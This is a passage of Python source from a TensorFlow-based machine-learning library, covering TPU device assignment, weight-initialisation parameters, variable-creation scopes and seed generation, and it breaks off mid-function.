# Maps a TPU job name ('/job:xxx') to the job's DeviceAssignment object.
# When there is only a single TPU job, the key could be None.
_tpu_device_assignment_dict = dict()
def SetTpuDeviceAssignment(tpu_device_assignment, job=None):
if job in _tpu_device_assignment_dict:
tf.logging.warning('tpu_device_assignment was already set, '
'overwriting with new assignment.')
_tpu_device_assignment_dict[job] = tpu_device_assignment
# This function should called in unittest only.
def ClearTpuDevice():
global _tpu_device_assignment_dict
_tpu_device_assignment_dict = dict()
def GetTpuDeviceAssignment(job=None):
return _tpu_device_assignment_dict[job]
# Whether it's running in eager mode. This is different than
# tf.executing_eagerly(), which will return False inside a tf.function.
_IS_EAGER_MODE = False
def SetEagerMode(eager_mode=True):
global _IS_EAGER_MODE
_IS_EAGER_MODE = eager_mode
if eager_mode:
tf.enable_eager_execution()
tf.config.set_soft_device_placement(True)
else:
tf.disable_eager_execution()
def IsEagerMode():
return _IS_EAGER_MODE
# Maintains a tf.GradientTape stack.
_GRADIENT_TAPE_STACK = ThreadLocalStack()
@contextlib.contextmanager
def GradientTape(*args, **kwargs):
"""Creates a tf.GradientTape and use it for automatic differentiation."""
tape = tf.GradientTape(*args, **kwargs)
_GRADIENT_TAPE_STACK.stack.append(tape)
try:
with tape:
yield
finally:
_GRADIENT_TAPE_STACK.stack.pop()
# The tf.train.ExponentialMovingAverage singleton used by all subtasks in
# multi-task training with ExecutorTpu.
_EXECUTOR_EMA = None
def SetExponentialMovingAverage(ema):
global _EXECUTOR_EMA
assert ema
assert not _EXECUTOR_EMA, 'EMA was set before.'
_EXECUTOR_EMA = ema
def ExponentialMovingAverage():
return _EXECUTOR_EMA
def SessionConfig(soft_placement=True,
inline=True,
cluster_def=None,
disable_meta_optimizer=False):
"""Returns a session config proto.
Args:
soft_placement: Turns allow_soft_placement on iff True.
inline: Turns do_function_inlining on iff True.
cluster_def: A tf.train.ClusterDef describing the cluster.
disable_meta_optimizer: Turns off grappler/metagraph optimizer.
Returns:
A TF session config proto.
"""
session_config = tf.config_pb2.ConfigProto(
allow_soft_placement=soft_placement,
graph_options=tf.GraphOptions(
optimizer_options=tf.OptimizerOptions(
opt_level=tf.OptimizerOptions.L1, do_function_inlining=inline)),
cluster_def=cluster_def)
session_config.share_cluster_devices_in_session = True
if disable_meta_optimizer:
# Useful if start-up time is critical.
session_config.graph_options.rewrite_options.disable_meta_optimizer = True
# Disable layout optimizer which increases GPU memory usage.
session_config.graph_options.rewrite_options.layout_optimizer = (
rewriter_config_pb2.RewriterConfig.OFF)
return session_config
def AssertIsCompatible(a, b):
assert a.IsCompatible(b), ('%s vs %s' % (a, b))
def SetShapes(dst_nmap, src_nmap):
"""Set shapes in dst_nmap using those in src_nmap."""
AssertIsCompatible(src_nmap, dst_nmap)
for src, dst in zip(src_nmap.Flatten(), dst_nmap.Flatten()):
dst.set_shape(src.shape)
def Dtypes(nmap_list):
"""Returns all tensors' data types in a list."""
return [v.dtype for v in Flatten(nmap_list)]
def Flatten(x):
"""Flattens 'x' by extracting tensors from nested structures to a list."""
return tf.nest.flatten(x)
def Pack(tmpl, values):
"""Packs 'values' according to 'tmpl'."""
return tf.nest.pack_sequence_as(tmpl, values)
def Transform(fn, *v):
"""Replaces every nested value x in 'v' with fn(x) and returns the result."""
return tf.nest.map_structure(fn, *v)
def ConvertNoneGradientToZeros(xs, dxs):
"""Sanitize dxs so that None becomes zeros appropriately.
Args:
xs: A list of tensors.
dxs: A list of tensors. dxs[i] corresponds to xs[i]'s gradient.
Returns:
A `.NestedMap` same as dxs with None replaced by a zero tensor.
"""
fn = lambda x, dx: tf.zeros_like(x) if dx is None else dx
return Transform(fn, xs, dxs)
def IsCompatible(lhs, rhs):
"""Returns true if lhs and rhs are compatible."""
try:
tf.nest.assert_same_structure(lhs, rhs)
return True
except (ValueError, TypeError):
return False
class _Unique:
"""A helper to uniqify variables in a NestedMap."""
def __init__(self):
self._vset = set()
def __call__(self, v):
if (v is None) or (id(v) in self._vset):
return False
else:
self._vset.add(id(v))
return True
def ToUniqueList(nmap):
"""Returns the flattened `nmap` with duplicates removed."""
return nmap.Filter(_Unique()).Flatten()
def ReadOnlyAttrDictView(backing):
"""Wraps a dict to provide a read-only view of its contents.
Dict keys can also be accessed by attribute.
Args:
backing: Dict-like object to wrap.
Returns:
Read-only Mapping that can be accessed by index (['foo']) or attr (d.foo).
"""
class Wrapper:
"""Wrapper object."""
# Disable pytype attribute checking.
_HAS_DYNAMIC_ATTRIBUTES = True
def __getitem__(self, key):
return backing[key]
def __len__(self):
return len(backing)
def __iter__(self):
return iter(backing)
def __getattr__(self, key):
return backing[key]
def __hasattr__(self, key):
return key in backing
def __setattr__(self, key, value):
raise AttributeError('Dictionary is read-only.')
def __setitem__(self, key, value):
raise AttributeError('Dictionary is read-only.')
return Wrapper()
def ToStaticShape(shape):
"""Converts 'shape' to a static shape."""
if isinstance(shape, (list, tuple)):
shape = [
dim.value if isinstance(dim, tf.Dimension) else dim for dim in shape
]
static_shape = []
for dim in shape:
if symbolic.IsExpr(dim):
static_shape.append(symbolic.ToStatic(dim))
else:
static_shape.append(dim)
return static_shape
else:
return shape.value if isinstance(shape, tf.Dimension) else shape
def Zeros(shape, *args, **kwargs):
return tf.zeros(ToStaticShape(shape), *args, **kwargs)
class UniformSampler:
"""A reservoir sampler.
This class implements reservoir sampling: Given a limit of `num_samples` total
samples, this class maintains a uniform probability (1 / `num_samples`) of
keeping any item dynamically added to the sampler.
See https://en.wikipedia.org/wiki/Reservoir_sampling for details.
"""
def __init__(self, num_samples):
assert num_samples > 0
self._num_samples = num_samples
self._num_seen_items = 0
self._samples = []
def Add(self, item):
"""Add item to sampler."""
self._num_seen_items += 1
if len(self._samples) < self._num_samples:
self._samples.append(item)
return
index = np.random.randint(0, self._num_seen_items)
if index < self._num_samples:
self._samples[index] = item
@property
def samples(self):
"""Fetch the current samples from the sampler."""
return self._samples
class RNNCellStateInit:
"""State initialization functions for RNN cell init state."""
@staticmethod
def _Params(method, seed):
p = hyperparams.Params()
p.Define('method', method,
'Initialization method. Should be one of zeros, random_normal.')
p.Define('seed', seed, 'Random seed used to generate initial values.')
p.Freeze()
return p
@staticmethod
def Zeros():
"""tf.zeros()."""
return RNNCellStateInit._Params('zeros', seed=None)
@staticmethod
def RandomNormal(seed=None):
"""tf.random.normal()."""
return RNNCellStateInit._Params('random_normal', seed)
def DefaultRNNCellStateInit():
return RNNCellStateInit.Zeros()
def InitRNNCellState(shape, init=None, dtype=None, name=None, is_eval=False):
"""Initial state definitions for RNN cell implementations.
Args:
shape: A array of ints/symbols for specifying the shape of the state.
init: Hyperparameters as returned by one of the static implemetaitons in
RNNCellStateInit.
dtype: The dype of the states. Defaults to tf.float32.
name: A name for the operation. If --stateless_vars_init is set, this name
is used to generate a seed on a per-variable basis. Otherwise, this name
is optional.
is_eval: Bool, set to True if we need special behavior in eval mode.
Returns:
A Tensor of the specified shape, and sampled from the distribution as
defined by the init parameters.
"""
shape = ToStaticShape(shape)
if init is None:
init = DefaultRNNCellStateInit()
if dtype is None:
dtype = tf.float32
method = init.method
if ((method in ['zeros']) or (method in ['random_normal'] and is_eval)):
init_state = tf.zeros(shape=shape, dtype=dtype, name=name)
elif method in ['random_normal']:
if use_stateless_vars_init():
if name is None:
raise ValueError('InitRNNCellState() requires a `name` argument when '
'--stateless_vars_init is enabled.')
seed = _GenerateStatelessRngSeed(name, init.seed)
init_state = stateless_random_ops.stateless_random_normal(
shape=shape, dtype=dtype, name=name, seed=seed)
else:
init_state = tf.random.normal(
shape=shape, dtype=dtype, name=name, seed=init.seed)
else:
raise ValueError('Initialization method (%s) not supported.' % method)
return init_state
class WeightInit:
"""Static class providing weight initialization config params."""
@staticmethod
def _Params(method, scale, seed, custom_v_init=None):
"""Parameters of this class."""
p = hyperparams.Params()
p.Define('method', method, 'Initialization method.')
p.Define('scale', scale, 'Initialization scale.')
p.Define('seed', seed, 'Random seed used to generate initial values.')
p.Define('custom_v_init', custom_v_init,
'A custom tf.init_ops.Initializer instance.')
p.Freeze()
return p
@staticmethod
def Gaussian(scale=1.0, seed=None):
"""scale * tf.random.normal(0, 1.0)."""
return WeightInit._Params('gaussian', scale, seed)
@staticmethod
def Uniform(scale=1.0, seed=None):
"""scale * tf.random.uniform(-1.0, 1.0)."""
return WeightInit._Params('uniform', scale, seed)
@staticmethod
def UniformPositive(scale=1.0, seed=None):
"""scale * tf.random.uniform(0., 1.0)."""
return WeightInit._Params('uniform_positive', scale, seed)
@staticmethod
def Category(scale=2, seed=None):
"""tf.floor(scale * tf.random.uniform(0., 1.0))."""
return WeightInit._Params('category', scale, seed)
@staticmethod
def Xavier(scale=1.0, seed=None):
"""Xavier initialization (x = sqrt(6. / (in + out)); [-x, x])."""
return WeightInit._Params('xavier', scale, seed)
@staticmethod
def XavierWithFixupParams(scale=1.0,
depth=1.0,
layers_per_residual_block=1.0,
seed=None):
"""Xavier initialization with Fixup."""
scale = scale * math.pow(depth, (-1.0 / (2 * layers_per_residual_block)))
return WeightInit._Params('xavier', scale, seed)
@staticmethod
def GeoMeanXavier(scale=1.0, seed=None):
"""A variant of Xavier (x = sqrt(3. / sqrt(in * out)); [-x, x])."""
return WeightInit._Params('geo_mean_xavier', scale, seed)
@staticmethod
def Constant(scale=1.0):
"""scale."""
return WeightInit._Params('constant', scale, 0)
@staticmethod
def TruncatedGaussian(scale=1.0, seed=None):
"""scale * tf.random.truncated_normal(0, 1.0)."""
return WeightInit._Params('truncated_gaussian', scale, seed)
@staticmethod
def GaussianSqrtDim(scale=1.0, seed=None):
"""scale * tf.random.normal(0, 1 / sqrt(dim0))."""
return WeightInit._Params('gaussian_sqrt_dim', scale, seed)
@staticmethod
def GaussianSqrtFanIn(scale=1.0, seed=None):
"""scale * tf.random.normal(0, 1 / sqrt(fan_in))."""
return WeightInit._Params('gaussian_sqrt_fanin', scale, seed)
@staticmethod
def GaussianSqrtFanOut(scale=1.0, seed=None):
"""scale * tf.random.normal(0, 1 / sqrt(fan_out))."""
return WeightInit._Params('gaussian_sqrt_fanout', scale, seed)
@staticmethod
def GaussianSqrtFanAvg(scale=1.0, seed=None):
"""tf.random.normal(0, sqrt(2.0 / (in + out)))."""
return WeightInit._Params('gaussian_sqrt_fanavg', scale, seed)
@staticmethod
def UniformSqrtDim(scale=1.0, seed=None):
"""scale * tf.uniform(-1 / sqrt(dim0), 1 / sqrt(dim0))."""
return WeightInit._Params('uniform_sqrt_dim', scale, seed)
@staticmethod
def UniformUnitScaling(scale=1.0, seed=None):
"""scale * sqrt(3) / sqrt(dim0) * tf.uniform(-1, 1)."""
return WeightInit._Params('uniform_unit_scaling', scale, seed)
@staticmethod
def UniformUnitScalingFanAvg(scale=1.0, seed=None):
"""Same as tf.variance_scaling_initializer() ...
Samples are drawn from a uniform distribution within [-limit, limit], with
limit = sqrt(3 * scale / n)
where
n = max(1., (fan_in + fan_out) / 2).
See tf.keras.initializers.VarianceScaling for details.
Args:
scale: A Python float.
seed: A Python int or None.
Returns:
A WeightInit param.
"""
return WeightInit._Params('uniform_unit_scaling_fan_avg', scale, seed)
@staticmethod
def TruncatedGaussianSqrtDim(scale=1.0, seed=None):
"""scale * tf.random.truncated_normal(0, 1 / sqrt(dim0))."""
return WeightInit._Params('truncated_gaussian_sqrt_dim', scale, seed)
@staticmethod
def TruncatedGaussianSqrtFanIn(scale=1.0, seed=None):
"""scale * tf.random.truncated_normal(0, 1 / sqrt(fan_in))."""
return WeightInit._Params('truncated_gaussian_sqrt_fanin', scale, seed)
@staticmethod
def TruncatedGaussianSqrtFanOut(scale=1.0, seed=None):
"""scale * tf.random.truncated_normal(0, 1 / sqrt(fan_out))."""
return WeightInit._Params('truncated_gaussian_sqrt_fanout', scale, seed)
@staticmethod
def KaimingUniformFanInRelu(scale=1.0, seed=None):
return WeightInit._Params('kaiming_uniform_fanin_relu', scale, seed)
@staticmethod
def KaimingUniformFanInLeakyRelu(scale=np.sqrt(5.), seed=None):
return WeightInit._Params('kaiming_uniform_fanin_leakyrelu', scale, seed)
@staticmethod
def CustomVarInit(custom_v_init):
return WeightInit._Params('custom', 1.0, None, custom_v_init)
@staticmethod
def CustomConstantVarInit(custom_v_init):
return WeightInit._Params('custom_constant', 1.0, None, custom_v_init)
_DEFAULT_XAVIER_INIT = 1.000001
def DefaultParamInit():
# Here we use 1.000001 as a signature for user picking up the
# default param initializer.
return WeightInit.Xavier(_DEFAULT_XAVIER_INIT)
# TODO(rpang, jonathanasdf): explore adding _is_default to hyperparams.Param.
def IsDefaultParamInit(p):
return (p.method == 'xavier' and
abs(p.scale - _DEFAULT_XAVIER_INIT) < 1e-7 and p.seed is None)
def WeightParams(shape,
init=None,
dtype=None,
collections=None,
device_mesh=None,
tensor_split_dims_mapping=None):
"""Returns a hyperparams for a weight variable given the shape/init/dtype."""
if init is None:
init = WeightInit.Xavier(_DEFAULT_XAVIER_INIT)
if dtype is None:
dtype = tf.float32
if collections is None:
collections = []
if device_mesh is not None:
assert tensor_split_dims_mapping is not None
assert len(tensor_split_dims_mapping) == len(shape)
p = hyperparams.Params()
p.Define('dtype', dtype, 'The weight data type.')
p.Define('shape', shape, 'The weight shape.')
p.Define('init', init, 'Initialization method.')
p.Define('collections', collections,
'Variable collections this weight belongs to.')
p.Define(
'device_mesh', device_mesh,
'A numpy.ndarray describing the topology of a device mesh to partition'
' this variable onto. Each element in the np.ndarray is the ID of a'
' device in the topology. device_mesh and tensor_split_dims_mapping below'
' together specifies how this weight tensor should be sharded across'
' different tpu cores. If None, this variable is not sharded.'
' Here are examples: np.array([0, 1, 2, 3, 4, 5, 6, 7]) which is a 1d'
' mesh with 8 devices, np.array([[0, 1, 2, 3], [4, 5, 6, 7]]) which is'
' 2d matrix of 8 devices.')
p.Define(
'tensor_split_dims_mapping', tensor_split_dims_mapping,
'A list of integers that map each tensor axis to the device mesh axis'
' along which it is sharded. Its length is the tensor rank, and'
' split_dims_mapping[i] is device mesh axis for tensor dimension i. Use'
' -1 for tensor dimensions that are not sharded. If the list is set to'
' None and a device_mesh is specified, the sharding will be treated as'
' replicated. Here is a concrete examples: '
' device_mesh=np.array([[0, 1, 2, 3] [4, 5, 6, 7]]), of shape [2, 4]'
' shape=[x, y, z], so this is a 3d variable.'
' tensor_split_dims_mapping=[-1, -1, 1], in this case, the third dim'
' of the variable is split along the second dim of the mesh. Each '
' split of the variable is of the shape [x, y, z/4].')
# The following two flags are used in Jax only.
p.Define(
'repeat_prefix', None,
'If not None, the full shape of this var is repeat_prefix+shape. '
'For example, if repeat_prefix=[16, 2], and shape=[512, 1024], then '
'real shape of variable is [16, 2, 512, 1024]. "repeat_prefix" is '
'often used if a layer is to be used in a recurrent loop, where '
'logically there are n sub-layers, but for performance/hbm usage '
'reasons we stack all the variables in creating those n-layers.')
p.Define('repeat_prefix_split_dims_mapping', None,
'Tensor split dims mapping for the repeat_prefix dims.')
return p
def FindNeeded(endpoints):
"""List names of tensors and operations required to compute endpoints."""
names_seen = set()
queue = []
for e in Flatten(endpoints):
if isinstance(e, tf.Operation):
queue.append(e)
else:
queue.append(e.op)
while queue:
op = queue.pop()
name = op.name
if name not in names_seen:
names_seen.add(name)
names_seen.update((o.name for o in op.outputs))
queue.extend(i.op for i in op.inputs)
queue.extend(op.control_inputs)
return names_seen
class _CollectionGetter:
"""Get graph local value from a defined collection."""
def __init__(self, key, default_factory):
self._key = key
self._default_factory = default_factory
def __call__(self):
collection = tf.get_collection(self._key)
if collection:
assert len(collection) == 1
return collection[0]
value = self._default_factory()
tf.add_to_collection(self._key, value)
return value
def SanitizeScopeKey(key):
"""Removes invalid symbols from name_scope keys."""
if key.startswith('_'):
key = key[1:]
return key.replace('[', '_').replace(']', '')
# Maintain a session for unit tests (initialized in test_utils.py).
_SESSION_SCOPE = ThreadLocalStack()
@contextlib.contextmanager
def UnitTestSessionScope(sess):
_SESSION_SCOPE.stack.append(sess)
try:
yield
finally:
_SESSION_SCOPE.stack.pop()
def GetUnitTestSession():
"""Get the current variable reuse setting."""
return _SESSION_SCOPE.stack[-1] if _SESSION_SCOPE.stack else None
# Global variable to control multitask variable reuse
# If False (default) the default tf.get_variable is used, that is:
# - Reusing scopes only allow getting existing variables
# - Non-reusing scopes only allow getting new variables
# With GetOpportunisticVariableReuse() == True:
# - Reusing scopes only allow getting existing variables, as usual
# - Non-reusing scopes reuse new variables or get new ones
_OPPORTUNISTIC_VARIABLE_REUSE = ThreadLocalStack()
@contextlib.contextmanager
def OpportunisticVariableReuseScope(enable_opportunistic_reuse=True):
_OPPORTUNISTIC_VARIABLE_REUSE.stack.append(enable_opportunistic_reuse)
try:
yield
finally:
_OPPORTUNISTIC_VARIABLE_REUSE.stack.pop()
def GetOpportunisticVariableReuse():
"""Get the current variable reuse setting."""
return (_OPPORTUNISTIC_VARIABLE_REUSE.stack[-1]
if _OPPORTUNISTIC_VARIABLE_REUSE.stack else False)
_VARIABLE_RENAME_RULES = ThreadLocalStack()
# Global variable to track task calling scope.
# Currently only used for TPU Embedding purposes as a TPUEmbeddingLayer
# may be shared across tasks and the calling task needs to be known
# for tracking embedding activations for backprop.
_TASK_CALL_SCOPE = ThreadLocalStack()
def TaskCallScopeName(task):
"""Get a unique string identifying a task."""
return f'{task.params.name}_{id(task)}'
@contextlib.contextmanager
def TaskCallScope(task):
_TASK_CALL_SCOPE.stack.append(TaskCallScopeName(task))
try:
yield
finally:
_TASK_CALL_SCOPE.stack.pop()
def GetTaskCallScope():
"""Get the current task call scope."""
return _TASK_CALL_SCOPE.stack[-1] if _TASK_CALL_SCOPE.stack else None
@contextlib.contextmanager
def VariableRenameScope(renames):
"""Append the renaming rules to the stack of renames.
Args:
renames: pairs of (regexp, new_name_format). If the regexp matches, the
new_name_format will be interpolated using the matched groups.
Yields:
scope in which the renaming rules are applied
"""
_VARIABLE_RENAME_RULES.stack.append(renames)
try:
yield
finally:
_VARIABLE_RENAME_RULES.stack.pop()
def GetVariableName(name):
"""Get variable name after application of all renaming rules.
Args:
name: untransformed variable name with scope_name prepended
Returns:
name possibly modified using renaming rules
"""
matched = False
new_name = name
for renames in _VARIABLE_RENAME_RULES.stack:
tf.logging.log_first_n(
tf.logging.WARN,
('Renaming variables is not supported in eager mode. '
'Please look into migrating away from variable renaming.'), 1)
for regexp, name_format in renames:
match = re.match(regexp, name)
if match:
if matched:
tf.logging.warning('Multiple matches for: %s', name)
matched = True
new_name = name_format % match.groups()
if new_name != name:
tf.logging.info("WARNING!!! Renaming variable '%s' to '%s'", name, new_name)
return new_name
_LIST_REGEX_DTYPE = ThreadLocalStack()
@contextlib.contextmanager
def VariableListDtypeRegexScope(list_regex_dtypes):
"""Append the list of (regex, dtype) to override the dtype.
Args:
list_regex_dtypes: pairs of (regexp, dtype). If the regexp matches, the data
type of the variable will be changed by the corresponding dtype.
Yields:
scope in which the list of (regex, dtype) is applied.
"""
_LIST_REGEX_DTYPE.stack.append(list_regex_dtypes)
try:
yield
finally:
_LIST_REGEX_DTYPE.stack.pop()
def FindDataType(var_name):
"""Find the data type for var_name.
Args:
var_name: A string, name of the variable.
Returns:
The dtype of the first matched regex with var_name, or None if no matching
found.
"""
for regex_dtypes in _LIST_REGEX_DTYPE.stack:
for regex, data_type in regex_dtypes:
if re.match(regex, var_name):
return data_type
return None
def GenerateSeedFromName(name):
"""Generate a random seed from a name string.
Args:
name: A string.
Returns:
An integer seed in the range [0, 2**31 - 1).
"""
md5 = hashlib.md5()
md5.update(six.ensure_binary(name))
return np.int64(int(md5.hexdigest(), 16) % (2**31 - 1))
def MaybeGenerateSeedFromScope():
"""Generate a random seed from the current name of the scope.
If running in eager mode, this returns 0.
Returns:
An integer seed in the range [0, 2**31 - 1).
"""
if not tf.executing_eagerly():
return GenerateSeedFromName(tf.no_op(name='new_step_seed').name)
return 0
def GenerateSeedFromId(obj_id):
"""Generate a random seed from the id of an object.
If deterministic execution (i.e. unit test), generate the seed from a fixed
unique name instead.
Args:
obj_id: id(object).
Returns:
An integer seed in the range [0, 2**31 - 1).
"""
if tf.get_default_graph().seed is not None:
# We are in a program/test which need determistic randomization.
with tf.name_scope(''):
return GenerateSeedFromName(tf.no_op(name='new_step_seed').name)
md5 = hashlib.md5()
md5.update(np.int64(obj_id))
return np.int64(int(md5.hexdigest(), 16) % (2**31 - 1))
_VARIABLE_SHAPE_PREFIXES = ThreadLocalStack()
def GetVarLeadingDimsAsCombinedLayers(var):
"""Gets the number of leading dimensions of `var` marked as combined layers.
Such dimensions represent variables from different layers stacked together,
e.g., in RepeatLayer, and optimizers (which have shape-dependant behaviors)
can adjust its behavior based on this information to match the behavior for
separate layer variables.
Args:
var: A variable.
Returns:
An integer representing the number of leading dimensions.
"""
try:
return var.op.get_attr('_num_leading_dims_for_combined_layers')
except ValueError:
return 0
except AttributeError:
# AttributeError: 'DistributedVarOp' object has no attribute 'get_attr'.
return 0
@contextlib.contextmanager
def VariableShapePrefixContext(shape_prefix):
"""Add a shape prefix to variable created by CreateVariable().
This new dimension will be marked as combined-layers. See also comments for
GetVarLeadingDimsAsCombinedLayers().
Args:
shape_prefix: a positive integer of shape prefix.
Yields:
None.
"""
assert shape_prefix > 0, ('%s' % shape_prefix)
_VARIABLE_SHAPE_PREFIXES.stack.append(shape_prefix)
try:
yield
finally:
_VARIABLE_SHAPE_PREFIXES.stack.pop()
def GetVariableShapePrefixes():
"""Return the list of shape prefixes for CreateVariable()."""
return _VARIABLE_SHAPE_PREFIXES.stack
def GetVariableNumLeadingDimsForCombinedLayersContext():
"""Return the number of leading combined-layers dims for CreateVariable()."""
return len(_VARIABLE_SHAPE_PREFIXES.stack)
def GetFanInFanOut(shape, prefix_dims_to_skip):
"""Returns (fan_in, fan_out) of a weight variable of the give shape."""
if not shape:
return None, None
if len(shape) < prefix_dims_to_skip:
raise ValueError(f'Variable shape is {shape} but prefix_dims_to_skip is '
f'{prefix_dims_to_skip}, larger than the shape rank.')
adjusted_shape = shape[prefix_dims_to_skip:]
if len(adjusted_shape) < 1:
return 1, 1
elif len(adjusted_shape) == 1:
# Following _compute_fans() from TF's init_ops.py.
return adjusted_shape[0], adjusted_shape[0]
else:
receptive_field_size = 1
for s in adjusted_shape[:-2]:
receptive_field_size *= s
fan_in = adjusted_shape[-2] * receptive_field_size
fan_out = adjusted_shape[-1] * receptive_field_size
return fan_in, fan_out
_VARIABLE_STORE_STACK = ThreadLocalStack()
@contextlib.contextmanager
def VariableStore():
"""Keeps track of {variable_name: (variable, var_params)}.
When CreateVariable would result in a variable name that exists in the store,
the existing variable is returned, or an error is raised, depending on whether
the variable scope supports reuse.
This mimics the behavior of tf.compat.v1.get_variable() with regards to
variable reuse, while functioning correctly in TF2 eager context. However, it
only applies to variables created via CreateVariable.
When there are nested VariableStore contexts, they all provide the same
variable store object. That is, the scope of the variable store is the
outermost context.
Yields:
A dictionary representing the variable store.
"""
store = _VARIABLE_STORE_STACK.stack[-1] if _VARIABLE_STORE_STACK.stack else {}
_VARIABLE_STORE_STACK.stack.append(store)
try:
yield store
finally:
_VARIABLE_STORE_STACK.stack.pop()
def _GetVariableStore():
return (_VARIABLE_STORE_STACK.stack[-1]
if _VARIABLE_STORE_STACK.stack else None)
def _DefaultVariableCreator(**kwargs):
kwargs.pop('var_name')
kwargs.pop('var_params')
return tf.get_variable(**kwargs)
_VARIABLE_CREATOR_STACK = ThreadLocalStack()
def _GetVariableCreator():
fn = _DefaultVariableCreator
for wrapper in reversed(_VARIABLE_CREATOR_STACK.stack):
fn = functools.partial(wrapper, fn)
return fn
@contextlib.contextmanager
def VariableCreatorScope(variable_creator):
"""Yields a context around a variable_creator, used by `CreateVariable()`.
The function must have the following signature::
def variable_creator(next_creator, **kwargs)
The function may delegate variable creation to the next variable creator, or
return its own tf.Variable.
This differs from tf.variable_creator_scope in that tf.variable_creator_scope
modifies a tf.Variable() call while this modifies a tf.get_variable() call. As
the code is migrated to TF2 and tf.get_variable() is deprecated, this may be
upgraded to using tf.variable_creator_scope instead.
This differs from tf.variable_scope(custom_getter=variable_creator) in that
the kwargs passed can be manipulated.
Variable creators are resolved from the outermost towards the innermost.
The innermost variable creator function is tf.get_variable.
The passed in kwargs must conform to what tf.get_variable accepts, with the
addition of `var_name` and `var_params`.
Args:
variable_creator: A variable creator function.
"""
_VARIABLE_CREATOR_STACK.stack.append(variable_creator)
try:
yield
finally:
_VARIABLE_CREATOR_STACK.stack.pop()
def PlaceOnTpuCore(core_id):
"""Returns a VariableCreatorScope that places variables on a given tpu core.
Only applies when running with TPUs.
Does not yet properly support model parallelism.
Args:
core_id: The tpu core id.
"""
def Creator(next_creator, **kwargs):
cluster = cluster_factory.Current()
if use_tpu():
device = cluster.WorkerDeviceInModelSplit(core_id)
elif (
tpu_compat() and
cluster.params.job in ('controller', 'trainer_client', 'executor_tpu')):
# The job is running in a fleet that uses tpu, but does not itself have
# access to the tpu, e.g. controller job. In this case, the returned
# device needs to be the cpu device on the tpu host for the given core.
# FIXME: the current implementation is wrong for large values of core_id.
device = cluster.ListDevices(cluster.params.worker)[0, 0]
else:
device = ''
with tf.device(device):
return next_creator(**kwargs)
return VariableCreatorScope(Creator)
# Variable creators.
def MaybeReuseFromVariableStore(next_creator, **kwargs):
"""Variable creator that attempts to reuse variables from variable store."""
var_name = kwargs['var_name']
p = kwargs['var_params']
store = _GetVariableStore()
if store is not None and var_name in store:
if tf.get_variable_scope().reuse:
var, cached_p = store[var_name]
tf.logging.info('Reusing var %s', var.name)
assert cached_p == p.ToText(), (
'Cached config:\n %s vs new config:\n %s' % (cached_p, p.ToText()))
return var
var = next_creator(**kwargs)
tf.logging.info('Creating var %s shape=%s on device %s', var.name, var.shape,
var.device)
for col in p.collections:
tf.add_to_collection(col, var)
if store is not None:
store[var_name] = (var, p.ToText())
return var
def MaybePinVarsToCpu(next_creator, **kwargs):
if _FromGlobal('pin_vars_to_cpu'):
with tf.device('/cpu:0'):
return next_creator(**kwargs)
return next_creator(**kwargs)
def MaybeOpportunisticVariableReuse(next_creator, **kwargs):
if GetOpportunisticVariableReuse():
with tf.variable_scope(tf.get_variable_scope(), reuse=tf.AUTO_REUSE):
return next_creator(**kwargs)
return next_creator(**kwargs)
# TODO(yonghui): Add support for partitioned Variables.
def CreateVariable(name,
params,
reuse=None,
trainable=True,
collections=None,
default_seed=None,
synchronization=tf.VariableSynchronization.AUTO,
aggregation=tf.VariableAggregation.NONE):
"""Creates tf.Variable according to param_config.
Args:
name: A string, name of the variable.
params: A WeightParams specifying the details of how this variable should be
constructed and initialized.
reuse: Whether or not to reuse an existing variable. It has the same
semantics as the reuse arg in tf.variable_scope.
trainable: Whether or not the variable is trainable.
collections: Override the default variable collection (
tf.GraphKeys.GLOBAL_VARIABLES). Note that specifying a collections
argument in `params` does not override this collection; the caller must
set this field explicitly in the call to CreateVariable().
default_seed: Seed to use for initialization if not specified in params.
Used for deterministic initialization in tests.
synchronization: Indicates when a distributed a variable will be aggregated.
Accepted values are constants defined in the class
tf.VariableSynchronization. By default the synchronization is set to AUTO
and the current DistributionStrategy chooses when to synchronize.
aggregation: Indicates how a distributed variable will be aggregated.
Accepted values are constants defined in the class tf.VariableAggregation.
Returns:
The created variable.
"""
if use_stateless_vars_init():
return _CreateVariableStateless(name, params, reuse, trainable, collections,
default_seed, synchronization, aggregation)
else:
return _CreateVariableStateful(name, params, reuse, trainable, collections,
default_seed, synchronization, aggregation)
def _CreateVariableStateful(name,
params,
reuse=None,
trainable=True,
collections=None,
default_seed=None,
synchronization=tf.VariableSynchronization.AUTO,
aggregation=tf.VariableAggregation.NONE):
"""Creates tf.Variable using TF stateful RNGs according to param_config.
Args:
name: A string, name of the variable.
params: A WeightParams specifying the details of how this variable should be
constructed and initialized.
reuse: Whether or not to reuse an existing variable. It has the same
semantics as the reuse arg in tf.variable_scope.
trainable: Whether or not the variable is trainable.
collections: Override the default variable collection (
tf.GraphKeys.GLOBAL_VARIABLES).
default_seed: Seed to use for initialization if not specified in params.
Used for deterministic initialization in tests.
synchronization: Indicates when a distributed a variable will be aggregated.
Accepted values are constants defined in the class
tf.VariableSynchronization. By default the synchronization is set to AUTO
and the current DistributionStrategy chooses when to synchronize.
aggregation: Indicates how a distributed variable will be aggregated.
Accepted values are constants defined in the class tf.VariableAggregation.
Returns:
The created variable.
"""
p = params.Copy()
shape = tf.TensorShape(ToStaticShape(p.shape)).as_list()
if shape:
assert all([dim_size > 0 for dim_size in shape]), shape
dim0 = shape[0]
else:
dim0 = 1
assert p.init.method == 'constant' or np.all(np.asarray(p.init.scale) >= 0)
method = p.init.method
scale = p.init.scale
seed = p.init.seed
if IsDefaultParamInit(p.init):
tf.logging.warning(
'WARNING!!! var %s is using the default xavier initializer.'
' Make sure this is intended.', name)
with tf.variable_scope(name) as scope:
var_name = GetVariableName(scope.name)
if tf.get_default_graph().seed is not None:
# We are in a program/test which need determistic randomization.
if seed is None:
if default_seed is not None:
seed = default_seed
else:
# We are not given a per-variable random seed. We use hash of
# variable name as a stable random seed.
seed = GenerateSeedFromName(var_name)
# If var_name matches a regex, then set the var_dtype; else use p.dtype.
var_dtype = FindDataType(var_name)
if var_dtype is None:
var_dtype = p.dtype
init_dtype = var_dtype.real_dtype
# TODO(b/172827074): we do not natively support var initialization for
# int8 type except for constant initialization.
# NOTE: For int8, we initialize by scaling float32 random values to integer.
if init_dtype == tf.int8:
init_dtype = tf.float32
v_init = _CreateVarInitStateful(name, method, shape, dim0, seed, scale,
init_dtype, p.init.custom_v_init)
if var_dtype == tf.complex64:
def ComplexWrapper(init):
def _Wrapper(shape, dtype, partition_info):
del dtype
# A more complex alternative may be to use the init function for
# magnitudes and uniform random for phases instead.
shape = [2] + shape
